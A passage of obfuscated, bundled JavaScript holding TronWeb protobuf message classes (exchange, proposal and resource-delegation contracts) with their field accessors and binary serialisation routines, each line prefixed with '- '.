- 0 !== (_0xea127c = _0xd66ba.getBalance()) && _0xd5ea51.writeInt64(3, _0xea127c);
- (_0xea127c = _0xd66ba.getReceiverAddress_asU8()).length > 0 && _0xd5ea51.writeBytes(4, _0xea127c);
- };
- TronWebProto.UnDelegateResourceContract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.UnDelegateResourceContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.UnDelegateResourceContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.UnDelegateResourceContract.prototype.setOwnerAddress = function (_0x1b439d) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x1b439d);
- };
- TronWebProto.UnDelegateResourceContract.prototype.getResource = function () {
- return _0x245757.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.UnDelegateResourceContract.prototype.setResource = function (_0x4a8f4f) {
- return _0x245757.Message.setProto3EnumField(this, 2, _0x4a8f4f);
- };
- TronWebProto.UnDelegateResourceContract.prototype.getBalance = function () {
- return _0x245757.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.UnDelegateResourceContract.prototype.setBalance = function (_0x49420c) {
- return _0x245757.Message.setProto3IntField(this, 3, _0x49420c);
- };
- TronWebProto.UnDelegateResourceContract.prototype.getReceiverAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.UnDelegateResourceContract.prototype.getReceiverAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getReceiverAddress());
- };
- TronWebProto.UnDelegateResourceContract.prototype.getReceiverAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getReceiverAddress());
- };
- TronWebProto.UnDelegateResourceContract.prototype.setReceiverAddress = function (_0x2b702b) {
- return _0x245757.Message.setProto3BytesField(this, 4, _0x2b702b);
- };
- _0x245757.Message.GENERATE_TO_OBJECT && (TronWebProto.CancelAllUnfreezeV2Contract.prototype.toObject = function (_0xc93bce) {
- return TronWebProto.CancelAllUnfreezeV2Contract.toObject(_0xc93bce, this);
- }, TronWebProto.CancelAllUnfreezeV2Contract.toObject = function (_0x1f4ad8, _0x2a3f9f) {
- var _0x205191 = {
- ownerAddress: _0x2a3f9f.getOwnerAddress_asB64()
- };
- _0x1f4ad8 && (_0x205191.$jspbMessageInstance = _0x2a3f9f);
- return _0x205191;
- });
- TronWebProto.CancelAllUnfreezeV2Contract.deserializeBinary = function (_0x1dba14) {
- var _0x3e9b2d = new _0x245757.BinaryReader(_0x1dba14);
- var _0x57eb12 = new TronWebProto.CancelAllUnfreezeV2Contract();
- return TronWebProto.CancelAllUnfreezeV2Contract.deserializeBinaryFromReader(_0x57eb12, _0x3e9b2d);
- };
- TronWebProto.CancelAllUnfreezeV2Contract.deserializeBinaryFromReader = function (_0x5de580, _0x5e20d6) {
- for (; _0x5e20d6.nextField() && !_0x5e20d6.isEndGroup();) {
- if (1 === _0x5e20d6.getFieldNumber()) {
- var _0x1d1da1 = _0x5e20d6.readBytes();
- _0x5de580.setOwnerAddress(_0x1d1da1);
- } else {
- _0x5e20d6.skipField();
- }
- }
- return _0x5de580;
- };
- TronWebProto.CancelAllUnfreezeV2Contract.prototype.serializeBinary = function () {
- var _0x86f442 = new _0x245757.BinaryWriter();
- TronWebProto.CancelAllUnfreezeV2Contract.serializeBinaryToWriter(this, _0x86f442);
- return _0x86f442.getResultBuffer();
- };
- TronWebProto.CancelAllUnfreezeV2Contract.serializeBinaryToWriter = function (_0x5af711, _0x42a1d1) {
- var _0xcfa3da;
- (_0xcfa3da = _0x5af711.getOwnerAddress_asU8()).length > 0 && _0x42a1d1.writeBytes(1, _0xcfa3da);
- };
- TronWebProto.CancelAllUnfreezeV2Contract.prototype.getOwnerAddress = function () {
- return _0x245757.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.CancelAllUnfreezeV2Contract.prototype.getOwnerAddress_asB64 = function () {
- return _0x245757.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.CancelAllUnfreezeV2Contract.prototype.getOwnerAddress_asU8 = function () {
- return _0x245757.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.CancelAllUnfreezeV2Contract.prototype.setOwnerAddress = function (_0x532ca5) {
- return _0x245757.Message.setProto3BytesField(this, 1, _0x532ca5);
- };
- _0x1b17c3.object.extend(_0x7e8437, TronWebProto);
- },
- 7764: (_0x741feb, _0x2d416c, _0x11dce6) => {
- var _0x1b44c5 = _0x11dce6(5595);
- var _0xba3e26 = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0xba3e26 && _0xba3e26 || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x1b44c5.exportSymbol("TronWebProto.ResourceCode", null, _0xba3e26);
- TronWebProto.ResourceCode = {
- BANDWIDTH: 0,
- ENERGY: 1,
- TRON_POWER: 2
- };
- _0x1b44c5.object.extend(_0x2d416c, TronWebProto);
- },
- 9520: (_0x56e61a, _0x18959f, _0x3e4cb5) => {
- var _0x3abe52 = _0x3e4cb5(5595);
- var _0x179b49 = _0x3abe52;
- var _0x4ba01b = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0x4ba01b && _0x4ba01b || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x179b49.exportSymbol("TronWebProto.ExchangeCreateContract", null, _0x4ba01b);
- _0x179b49.exportSymbol("TronWebProto.ExchangeInjectContract", null, _0x4ba01b);
- _0x179b49.exportSymbol("TronWebProto.ExchangeTransactionContract", null, _0x4ba01b);
- _0x179b49.exportSymbol("TronWebProto.ExchangeWithdrawContract", null, _0x4ba01b);
- TronWebProto.ExchangeCreateContract = function (_0x2644d1) {
- _0x3abe52.Message.initialize(this, _0x2644d1, 0, -1, null, null);
- };
- _0x179b49.inherits(TronWebProto.ExchangeCreateContract, _0x3abe52.Message);
- _0x179b49.DEBUG && !COMPILED && (TronWebProto.ExchangeCreateContract.displayName = "TronWebProto.ExchangeCreateContract");
- TronWebProto.ExchangeInjectContract = function (_0x49dee) {
- _0x3abe52.Message.initialize(this, _0x49dee, 0, -1, null, null);
- };
- _0x179b49.inherits(TronWebProto.ExchangeInjectContract, _0x3abe52.Message);
- _0x179b49.DEBUG && !COMPILED && (TronWebProto.ExchangeInjectContract.displayName = "TronWebProto.ExchangeInjectContract");
- TronWebProto.ExchangeWithdrawContract = function (_0x58e33f) {
- _0x3abe52.Message.initialize(this, _0x58e33f, 0, -1, null, null);
- };
- _0x179b49.inherits(TronWebProto.ExchangeWithdrawContract, _0x3abe52.Message);
- _0x179b49.DEBUG && !COMPILED && (TronWebProto.ExchangeWithdrawContract.displayName = "TronWebProto.ExchangeWithdrawContract");
- TronWebProto.ExchangeTransactionContract = function (_0x59a4e1) {
- _0x3abe52.Message.initialize(this, _0x59a4e1, 0, -1, null, null);
- };
- _0x179b49.inherits(TronWebProto.ExchangeTransactionContract, _0x3abe52.Message);
- _0x179b49.DEBUG && !COMPILED && (TronWebProto.ExchangeTransactionContract.displayName = "TronWebProto.ExchangeTransactionContract");
- _0x3abe52.Message.GENERATE_TO_OBJECT && (TronWebProto.ExchangeCreateContract.prototype.toObject = function (_0x1b58f1) {
- return TronWebProto.ExchangeCreateContract.toObject(_0x1b58f1, this);
- }, TronWebProto.ExchangeCreateContract.toObject = function (_0x37d28c, _0x4e24c7) {
- var _0x466928 = {
- ownerAddress: _0x4e24c7.getOwnerAddress_asB64(),
- firstTokenId: _0x4e24c7.getFirstTokenId_asB64(),
- firstTokenBalance: _0x3abe52.Message.getFieldWithDefault(_0x4e24c7, 3, 0),
- secondTokenId: _0x4e24c7.getSecondTokenId_asB64(),
- secondTokenBalance: _0x3abe52.Message.getFieldWithDefault(_0x4e24c7, 5, 0)
- };
- _0x37d28c && (_0x466928.$jspbMessageInstance = _0x4e24c7);
- return _0x466928;
- });
- TronWebProto.ExchangeCreateContract.deserializeBinary = function (_0x2f5205) {
- var _0x390c7f = new _0x3abe52.BinaryReader(_0x2f5205);
- var _0x15ea64 = new TronWebProto.ExchangeCreateContract();
- return TronWebProto.ExchangeCreateContract.deserializeBinaryFromReader(_0x15ea64, _0x390c7f);
- };
- TronWebProto.ExchangeCreateContract.deserializeBinaryFromReader = function (_0x59a65a, _0x221d24) {
- for (; _0x221d24.nextField() && !_0x221d24.isEndGroup();) {
- switch (_0x221d24.getFieldNumber()) {
- case 1:
- var _0x565790 = _0x221d24.readBytes();
- _0x59a65a.setOwnerAddress(_0x565790);
- break;
- case 2:
- _0x565790 = _0x221d24.readBytes();
- _0x59a65a.setFirstTokenId(_0x565790);
- break;
- case 3:
- _0x565790 = _0x221d24.readInt64();
- _0x59a65a.setFirstTokenBalance(_0x565790);
- break;
- case 4:
- _0x565790 = _0x221d24.readBytes();
- _0x59a65a.setSecondTokenId(_0x565790);
- break;
- case 5:
- _0x565790 = _0x221d24.readInt64();
- _0x59a65a.setSecondTokenBalance(_0x565790);
- break;
- default:
- _0x221d24.skipField();
- }
- }
- return _0x59a65a;
- };
- TronWebProto.ExchangeCreateContract.prototype.serializeBinary = function () {
- var _0x1c757a = new _0x3abe52.BinaryWriter();
- TronWebProto.ExchangeCreateContract.serializeBinaryToWriter(this, _0x1c757a);
- return _0x1c757a.getResultBuffer();
- };
- TronWebProto.ExchangeCreateContract.serializeBinaryToWriter = function (_0xb92d1f, _0x3ed20d) {
- var _0x400883 = undefined;
- (_0x400883 = _0xb92d1f.getOwnerAddress_asU8()).length > 0 && _0x3ed20d.writeBytes(1, _0x400883);
- (_0x400883 = _0xb92d1f.getFirstTokenId_asU8()).length > 0 && _0x3ed20d.writeBytes(2, _0x400883);
- 0 !== (_0x400883 = _0xb92d1f.getFirstTokenBalance()) && _0x3ed20d.writeInt64(3, _0x400883);
- (_0x400883 = _0xb92d1f.getSecondTokenId_asU8()).length > 0 && _0x3ed20d.writeBytes(4, _0x400883);
- 0 !== (_0x400883 = _0xb92d1f.getSecondTokenBalance()) && _0x3ed20d.writeInt64(5, _0x400883);
- };
- TronWebProto.ExchangeCreateContract.prototype.getOwnerAddress = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ExchangeCreateContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ExchangeCreateContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ExchangeCreateContract.prototype.setOwnerAddress = function (_0x240b2e) {
- return _0x3abe52.Message.setProto3BytesField(this, 1, _0x240b2e);
- };
- TronWebProto.ExchangeCreateContract.prototype.getFirstTokenId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.ExchangeCreateContract.prototype.getFirstTokenId_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getFirstTokenId());
- };
- TronWebProto.ExchangeCreateContract.prototype.getFirstTokenId_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getFirstTokenId());
- };
- TronWebProto.ExchangeCreateContract.prototype.setFirstTokenId = function (_0x1bed94) {
- return _0x3abe52.Message.setProto3BytesField(this, 2, _0x1bed94);
- };
- TronWebProto.ExchangeCreateContract.prototype.getFirstTokenBalance = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.ExchangeCreateContract.prototype.setFirstTokenBalance = function (_0x3c71b4) {
- return _0x3abe52.Message.setProto3IntField(this, 3, _0x3c71b4);
- };
- TronWebProto.ExchangeCreateContract.prototype.getSecondTokenId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 4, "");
- };
- TronWebProto.ExchangeCreateContract.prototype.getSecondTokenId_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getSecondTokenId());
- };
- TronWebProto.ExchangeCreateContract.prototype.getSecondTokenId_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getSecondTokenId());
- };
- TronWebProto.ExchangeCreateContract.prototype.setSecondTokenId = function (_0x17e489) {
- return _0x3abe52.Message.setProto3BytesField(this, 4, _0x17e489);
- };
- TronWebProto.ExchangeCreateContract.prototype.getSecondTokenBalance = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.ExchangeCreateContract.prototype.setSecondTokenBalance = function (_0x561da7) {
- return _0x3abe52.Message.setProto3IntField(this, 5, _0x561da7);
- };
- _0x3abe52.Message.GENERATE_TO_OBJECT && (TronWebProto.ExchangeInjectContract.prototype.toObject = function (_0xd016db) {
- return TronWebProto.ExchangeInjectContract.toObject(_0xd016db, this);
- }, TronWebProto.ExchangeInjectContract.toObject = function (_0x5c6a7a, _0xa91b78) {
- var _0x247b2b = {
- ownerAddress: _0xa91b78.getOwnerAddress_asB64(),
- exchangeId: _0x3abe52.Message.getFieldWithDefault(_0xa91b78, 2, 0),
- tokenId: _0xa91b78.getTokenId_asB64(),
- quant: _0x3abe52.Message.getFieldWithDefault(_0xa91b78, 4, 0)
- };
- _0x5c6a7a && (_0x247b2b.$jspbMessageInstance = _0xa91b78);
- return _0x247b2b;
- });
- TronWebProto.ExchangeInjectContract.deserializeBinary = function (_0x17718e) {
- var _0xd69ace = new _0x3abe52.BinaryReader(_0x17718e);
- var _0x1c85ea = new TronWebProto.ExchangeInjectContract();
- return TronWebProto.ExchangeInjectContract.deserializeBinaryFromReader(_0x1c85ea, _0xd69ace);
- };
- TronWebProto.ExchangeInjectContract.deserializeBinaryFromReader = function (_0x4671e4, _0x11c3f4) {
- for (; _0x11c3f4.nextField() && !_0x11c3f4.isEndGroup();) {
- switch (_0x11c3f4.getFieldNumber()) {
- case 1:
- var _0xc267c3 = _0x11c3f4.readBytes();
- _0x4671e4.setOwnerAddress(_0xc267c3);
- break;
- case 2:
- _0xc267c3 = _0x11c3f4.readInt64();
- _0x4671e4.setExchangeId(_0xc267c3);
- break;
- case 3:
- _0xc267c3 = _0x11c3f4.readBytes();
- _0x4671e4.setTokenId(_0xc267c3);
- break;
- case 4:
- _0xc267c3 = _0x11c3f4.readInt64();
- _0x4671e4.setQuant(_0xc267c3);
- break;
- default:
- _0x11c3f4.skipField();
- }
- }
- return _0x4671e4;
- };
- TronWebProto.ExchangeInjectContract.prototype.serializeBinary = function () {
- var _0x68716e = new _0x3abe52.BinaryWriter();
- TronWebProto.ExchangeInjectContract.serializeBinaryToWriter(this, _0x68716e);
- return _0x68716e.getResultBuffer();
- };
- TronWebProto.ExchangeInjectContract.serializeBinaryToWriter = function (_0x3a99a0, _0x1f6529) {
- var _0x6d7a37 = undefined;
- (_0x6d7a37 = _0x3a99a0.getOwnerAddress_asU8()).length > 0 && _0x1f6529.writeBytes(1, _0x6d7a37);
- 0 !== (_0x6d7a37 = _0x3a99a0.getExchangeId()) && _0x1f6529.writeInt64(2, _0x6d7a37);
- (_0x6d7a37 = _0x3a99a0.getTokenId_asU8()).length > 0 && _0x1f6529.writeBytes(3, _0x6d7a37);
- 0 !== (_0x6d7a37 = _0x3a99a0.getQuant()) && _0x1f6529.writeInt64(4, _0x6d7a37);
- };
- TronWebProto.ExchangeInjectContract.prototype.getOwnerAddress = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ExchangeInjectContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ExchangeInjectContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ExchangeInjectContract.prototype.setOwnerAddress = function (_0x3f975e) {
- return _0x3abe52.Message.setProto3BytesField(this, 1, _0x3f975e);
- };
- TronWebProto.ExchangeInjectContract.prototype.getExchangeId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.ExchangeInjectContract.prototype.setExchangeId = function (_0x3cbe3d) {
- return _0x3abe52.Message.setProto3IntField(this, 2, _0x3cbe3d);
- };
- TronWebProto.ExchangeInjectContract.prototype.getTokenId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.ExchangeInjectContract.prototype.getTokenId_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getTokenId());
- };
- TronWebProto.ExchangeInjectContract.prototype.getTokenId_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getTokenId());
- };
- TronWebProto.ExchangeInjectContract.prototype.setTokenId = function (_0x33423f) {
- return _0x3abe52.Message.setProto3BytesField(this, 3, _0x33423f);
- };
- TronWebProto.ExchangeInjectContract.prototype.getQuant = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.ExchangeInjectContract.prototype.setQuant = function (_0x502c30) {
- return _0x3abe52.Message.setProto3IntField(this, 4, _0x502c30);
- };
- _0x3abe52.Message.GENERATE_TO_OBJECT && (TronWebProto.ExchangeWithdrawContract.prototype.toObject = function (_0x160bcf) {
- return TronWebProto.ExchangeWithdrawContract.toObject(_0x160bcf, this);
- }, TronWebProto.ExchangeWithdrawContract.toObject = function (_0xe8df4e, _0x359250) {
- var _0x4fb507 = {
- ownerAddress: _0x359250.getOwnerAddress_asB64(),
- exchangeId: _0x3abe52.Message.getFieldWithDefault(_0x359250, 2, 0),
- tokenId: _0x359250.getTokenId_asB64(),
- quant: _0x3abe52.Message.getFieldWithDefault(_0x359250, 4, 0)
- };
- _0xe8df4e && (_0x4fb507.$jspbMessageInstance = _0x359250);
- return _0x4fb507;
- });
- TronWebProto.ExchangeWithdrawContract.deserializeBinary = function (_0x5c9e62) {
- var _0x3cd463 = new _0x3abe52.BinaryReader(_0x5c9e62);
- var _0x20c777 = new TronWebProto.ExchangeWithdrawContract();
- return TronWebProto.ExchangeWithdrawContract.deserializeBinaryFromReader(_0x20c777, _0x3cd463);
- };
- TronWebProto.ExchangeWithdrawContract.deserializeBinaryFromReader = function (_0x2af682, _0x14df19) {
- for (; _0x14df19.nextField() && !_0x14df19.isEndGroup();) {
- switch (_0x14df19.getFieldNumber()) {
- case 1:
- var _0x9d898c = _0x14df19.readBytes();
- _0x2af682.setOwnerAddress(_0x9d898c);
- break;
- case 2:
- _0x9d898c = _0x14df19.readInt64();
- _0x2af682.setExchangeId(_0x9d898c);
- break;
- case 3:
- _0x9d898c = _0x14df19.readBytes();
- _0x2af682.setTokenId(_0x9d898c);
- break;
- case 4:
- _0x9d898c = _0x14df19.readInt64();
- _0x2af682.setQuant(_0x9d898c);
- break;
- default:
- _0x14df19.skipField();
- }
- }
- return _0x2af682;
- };
- TronWebProto.ExchangeWithdrawContract.prototype.serializeBinary = function () {
- var _0x1ef51d = new _0x3abe52.BinaryWriter();
- TronWebProto.ExchangeWithdrawContract.serializeBinaryToWriter(this, _0x1ef51d);
- return _0x1ef51d.getResultBuffer();
- };
- TronWebProto.ExchangeWithdrawContract.serializeBinaryToWriter = function (_0xba9475, _0x249993) {
- var _0x225656 = undefined;
- (_0x225656 = _0xba9475.getOwnerAddress_asU8()).length > 0 && _0x249993.writeBytes(1, _0x225656);
- 0 !== (_0x225656 = _0xba9475.getExchangeId()) && _0x249993.writeInt64(2, _0x225656);
- (_0x225656 = _0xba9475.getTokenId_asU8()).length > 0 && _0x249993.writeBytes(3, _0x225656);
- 0 !== (_0x225656 = _0xba9475.getQuant()) && _0x249993.writeInt64(4, _0x225656);
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getOwnerAddress = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ExchangeWithdrawContract.prototype.setOwnerAddress = function (_0x105c27) {
- return _0x3abe52.Message.setProto3BytesField(this, 1, _0x105c27);
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getExchangeId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.ExchangeWithdrawContract.prototype.setExchangeId = function (_0x598d1b) {
- return _0x3abe52.Message.setProto3IntField(this, 2, _0x598d1b);
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getTokenId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getTokenId_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getTokenId());
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getTokenId_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getTokenId());
- };
- TronWebProto.ExchangeWithdrawContract.prototype.setTokenId = function (_0x189946) {
- return _0x3abe52.Message.setProto3BytesField(this, 3, _0x189946);
- };
- TronWebProto.ExchangeWithdrawContract.prototype.getQuant = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.ExchangeWithdrawContract.prototype.setQuant = function (_0x50a51f) {
- return _0x3abe52.Message.setProto3IntField(this, 4, _0x50a51f);
- };
- _0x3abe52.Message.GENERATE_TO_OBJECT && (TronWebProto.ExchangeTransactionContract.prototype.toObject = function (_0x289e51) {
- return TronWebProto.ExchangeTransactionContract.toObject(_0x289e51, this);
- }, TronWebProto.ExchangeTransactionContract.toObject = function (_0x57502c, _0xc4f825) {
- var _0x22a43e = {
- ownerAddress: _0xc4f825.getOwnerAddress_asB64(),
- exchangeId: _0x3abe52.Message.getFieldWithDefault(_0xc4f825, 2, 0),
- tokenId: _0xc4f825.getTokenId_asB64(),
- quant: _0x3abe52.Message.getFieldWithDefault(_0xc4f825, 4, 0),
- expected: _0x3abe52.Message.getFieldWithDefault(_0xc4f825, 5, 0)
- };
- _0x57502c && (_0x22a43e.$jspbMessageInstance = _0xc4f825);
- return _0x22a43e;
- });
- TronWebProto.ExchangeTransactionContract.deserializeBinary = function (_0x10956b) {
- var _0xed7f43 = new _0x3abe52.BinaryReader(_0x10956b);
- var _0x59cf8c = new TronWebProto.ExchangeTransactionContract();
- return TronWebProto.ExchangeTransactionContract.deserializeBinaryFromReader(_0x59cf8c, _0xed7f43);
- };
- TronWebProto.ExchangeTransactionContract.deserializeBinaryFromReader = function (_0x384762, _0x449ddc) {
- for (; _0x449ddc.nextField() && !_0x449ddc.isEndGroup();) {
- switch (_0x449ddc.getFieldNumber()) {
- case 1:
- var _0x53854b = _0x449ddc.readBytes();
- _0x384762.setOwnerAddress(_0x53854b);
- break;
- case 2:
- _0x53854b = _0x449ddc.readInt64();
- _0x384762.setExchangeId(_0x53854b);
- break;
- case 3:
- _0x53854b = _0x449ddc.readBytes();
- _0x384762.setTokenId(_0x53854b);
- break;
- case 4:
- _0x53854b = _0x449ddc.readInt64();
- _0x384762.setQuant(_0x53854b);
- break;
- case 5:
- _0x53854b = _0x449ddc.readInt64();
- _0x384762.setExpected(_0x53854b);
- break;
- default:
- _0x449ddc.skipField();
- }
- }
- return _0x384762;
- };
- TronWebProto.ExchangeTransactionContract.prototype.serializeBinary = function () {
- var _0x19c9c5 = new _0x3abe52.BinaryWriter();
- TronWebProto.ExchangeTransactionContract.serializeBinaryToWriter(this, _0x19c9c5);
- return _0x19c9c5.getResultBuffer();
- };
- TronWebProto.ExchangeTransactionContract.serializeBinaryToWriter = function (_0x901e89, _0x8b88f1) {
- var _0x45fb6e = undefined;
- (_0x45fb6e = _0x901e89.getOwnerAddress_asU8()).length > 0 && _0x8b88f1.writeBytes(1, _0x45fb6e);
- 0 !== (_0x45fb6e = _0x901e89.getExchangeId()) && _0x8b88f1.writeInt64(2, _0x45fb6e);
- (_0x45fb6e = _0x901e89.getTokenId_asU8()).length > 0 && _0x8b88f1.writeBytes(3, _0x45fb6e);
- 0 !== (_0x45fb6e = _0x901e89.getQuant()) && _0x8b88f1.writeInt64(4, _0x45fb6e);
- 0 !== (_0x45fb6e = _0x901e89.getExpected()) && _0x8b88f1.writeInt64(5, _0x45fb6e);
- };
- TronWebProto.ExchangeTransactionContract.prototype.getOwnerAddress = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.ExchangeTransactionContract.prototype.getOwnerAddress_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getOwnerAddress());
- };
- TronWebProto.ExchangeTransactionContract.prototype.getOwnerAddress_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getOwnerAddress());
- };
- TronWebProto.ExchangeTransactionContract.prototype.setOwnerAddress = function (_0x5d3333) {
- return _0x3abe52.Message.setProto3BytesField(this, 1, _0x5d3333);
- };
- TronWebProto.ExchangeTransactionContract.prototype.getExchangeId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.ExchangeTransactionContract.prototype.setExchangeId = function (_0x4e55d9) {
- return _0x3abe52.Message.setProto3IntField(this, 2, _0x4e55d9);
- };
- TronWebProto.ExchangeTransactionContract.prototype.getTokenId = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.ExchangeTransactionContract.prototype.getTokenId_asB64 = function () {
- return _0x3abe52.Message.bytesAsB64(this.getTokenId());
- };
- TronWebProto.ExchangeTransactionContract.prototype.getTokenId_asU8 = function () {
- return _0x3abe52.Message.bytesAsU8(this.getTokenId());
- };
- TronWebProto.ExchangeTransactionContract.prototype.setTokenId = function (_0x336c39) {
- return _0x3abe52.Message.setProto3BytesField(this, 3, _0x336c39);
- };
- TronWebProto.ExchangeTransactionContract.prototype.getQuant = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.ExchangeTransactionContract.prototype.setQuant = function (_0x2ad224) {
- return _0x3abe52.Message.setProto3IntField(this, 4, _0x2ad224);
- };
- TronWebProto.ExchangeTransactionContract.prototype.getExpected = function () {
- return _0x3abe52.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.ExchangeTransactionContract.prototype.setExpected = function (_0x1aa137) {
- return _0x3abe52.Message.setProto3IntField(this, 5, _0x1aa137);
- };
- _0x179b49.object.extend(_0x18959f, TronWebProto);
- },
- 3544: (_0x566e8a, _0x361c4c, _0x1deeea) => {
- var _0x5261ce = _0x1deeea(5595);
- var _0x50b6c9 = _0x5261ce;
- var _0xaf625c = "undefined" != typeof globalThis && globalThis || "undefined" != typeof window && window || undefined !== _0xaf625c && _0xaf625c || "undefined" != typeof self && self || function () {
- return this;
- }.call(null) || Function("return this")();
- _0x50b6c9.exportSymbol("TronWebProto.ProposalApproveContract", null, _0xaf625c);
- _0x50b6c9.exportSymbol("TronWebProto.ProposalCreateContract", null, _0xaf625c);
- _0x50b6c9.exportSymbol("TronWebProto.ProposalDeleteContract", null, _0xaf625c);
- TronWebProto.ProposalApproveContract = function (_0x3e7c9c) {
- _0x5261ce.Message.initialize(this, _0x3e7c9c, 0, -1, null, null);
- };
- _0x50b6c9.inherits(TronWebProto.ProposalApproveContract, _0x5261ce.Message);
- _0x50b6c9.DEBUG && !COMPILED && (TronWebProto.ProposalApproveContract.displayName = "TronWebProto.ProposalApproveContract");
- TronWebProto.ProposalCreateContract = function (_0x460a8b) {
- _0x5261ce.Message.initialize(this, _0x460a8b, 0, -1, null, null);
- };
- _0x50b6c9.inherits(TronWebProto.ProposalCreateContract, _0x5261ce.Message);
- _0x50b6c9.DEBUG && !COMPILED && (TronWebProto.ProposalCreateContract.displayName = "TronWebProto.ProposalCreateContract");
- TronWebProto.ProposalDeleteContract = function (_0x35b6cd) {
- _0x5261ce.Message.initialize(this, _0x35b6cd, 0, -1, null, null);
- };
- _0x50b6c9.inherits(TronWebProto.ProposalDeleteContract, _0x5261ce.Message);
- _0x50b6c9.DEBUG && !COMPILED && (TronWebProto.ProposalDeleteContract.displayName = "TronWebProto.ProposalDeleteContract");
- _0x5261ce.Message.GENERATE_TO_OBJECT && (TronWebProto.ProposalApproveContract.prototype.toObject = function (_0x5a8a4e) {
- return TronWebProto.ProposalApproveContract.toObject(_0x5a8a4e, this);
- }, TronWebProto.ProposalApproveContract.toObject = function (_0x1ad82, _0x18478b) {
- var _0x4b1a87 = {
- ownerAddress: _0x18478b.getOwnerAddress_asB64(),
- proposalId: _0x5261ce.Message.getFieldWithDefault(_0x18478b, 2, 0),
- isAddApproval: _0x5261ce.Message.getBooleanFieldWithDefault(_0x18478b, 3, false)
- };
- _0x1ad82 && (_0x4b1a87.$jspbMessageInstance = _0x18478b);
- return _0x4b1a87;
- });
- TronWebProto.ProposalApproveContract.deserializeBinary = function (_0x1ddc74) {
- var _0x1c90de = new _0x5261ce.BinaryReader(_0x1ddc74);
- var _0x59c794 = new TronWebProto.ProposalApproveContract();
- return TronWebProto.ProposalApproveContract.deserializeBinaryFromReader(_0x59c794, _0x1c90de);
- };
- TronWebProto.ProposalApproveContract.deserializeBinaryFromReader = function (_0xb28f79, _0x1e3602) {
- for (; _0x1e3602.nextField() && !_0x1e3602.isEndGroup();) {
- switch (_0x1e3602.getFieldNumber()) {
- case 1:
- var _0x1463e1 = _0x1e3602.readBytes();
- _0xb28f79.setOwnerAddress(_0x1463e1);
- break;
- case 2:
- _0x1463e1 = _0x1e3602.readInt64();
- _0xb28f79.setProposalId(_0x1463e1);
- break;
- case 3:
- _0x1463e1 = _0x1e3602.readBool();
